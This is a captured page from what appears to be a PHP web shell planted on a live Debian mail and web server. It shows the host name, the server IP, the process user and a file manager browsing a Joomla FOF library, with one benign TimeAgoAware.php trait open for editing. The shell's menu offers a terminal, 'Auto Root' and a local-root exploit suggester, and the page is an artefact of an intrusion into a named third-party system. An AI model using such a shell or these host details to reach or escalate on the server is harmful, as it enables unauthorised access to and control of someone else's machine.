Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
libraries /
fof40 /
Cli /
Traits /
Delete
Unzip
Name
Size
Permission
Date
Action
CGIModeAware.php
1.67
KB
-rwxr-xr-x
2023-07-13 17:52
CustomOptionsAware.php
4.14
KB
-rwxr-xr-x
2023-07-13 17:52
JoomlaConfigAware.php
1.37
KB
-rwxr-xr-x
2023-07-13 17:52
MemStatsAware.php
1.41
KB
-rwxr-xr-x
2023-07-13 17:52
MessageAware.php
1.21
KB
-rwxr-xr-x
2023-07-13 17:52
TimeAgoAware.php
2.27
KB
-rwxr-xr-x
2023-07-13 17:52
Save
Rename
<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Cli\Traits; defined('_JEXEC') || die; /** * Allows the developer to show the relative time difference between two timestamps. * * @package FOF40\Cli\Traits */ trait TimeAgoAware { /** * Returns the relative time difference between two timestamps in a human readable format * * @param int $referenceTimestamp Timestamp of the reference date/time * @param int|null $currentTimestamp Timestamp of the current date/time. Null for time(). * @param string $timeUnit Time unit. One of s, m, h, d, or y. * @param bool $autoSuffix Add "ago" / "from now" suffix? * * @return string For example, "10 seconds ago" */ protected function timeAgo($referenceTimestamp = 0, $currentTimestamp = null, $timeUnit = '', $autoSuffix = true) { if (is_null($currentTimestamp)) { $currentTimestamp = time(); } // Raw time difference $raw = $currentTimestamp - $referenceTimestamp; $clean = abs($raw); $calcNum = [ ['s', 60], ['m', 60 * 60], ['h', 60 * 60 * 60], ['d', 60 * 60 * 60 * 24], ['y', 60 * 60 * 60 * 24 * 365], ]; $calc = [ 's' => [1, 'second'], 'm' => [60, 'minute'], 'h' => [60 * 60, 'hour'], 'd' => [60 * 60 * 24, 'day'], 'y' => [60 * 60 * 24 * 365, 'year'], ]; $effectiveTimeUnit = $timeUnit; if ($timeUnit == '') { $effectiveTimeUnit = 's'; for ($i = 0; $i < count($calcNum); $i++) { if ($clean <= $calcNum[$i][1]) { $effectiveTimeUnit = $calcNum[$i][0]; $i = count($calcNum); } } } $timeDifference = floor($clean / $calc[$effectiveTimeUnit][0]); $textSuffix = ''; if ($autoSuffix == true && ($currentTimestamp == time())) { if ($raw < 0) { $textSuffix = ' from now'; } else { $textSuffix = ' ago'; } } if ($referenceTimestamp != 0) { if ($timeDifference == 1) { return $timeDifference . ' ' . $calc[$effectiveTimeUnit][1] . ' ' . $textSuffix; } return $timeDifference . ' ' . $calc[$effectiveTimeUnit][1] . 's ' . $textSuffix; } return '(no reference timestamp was provided).'; } }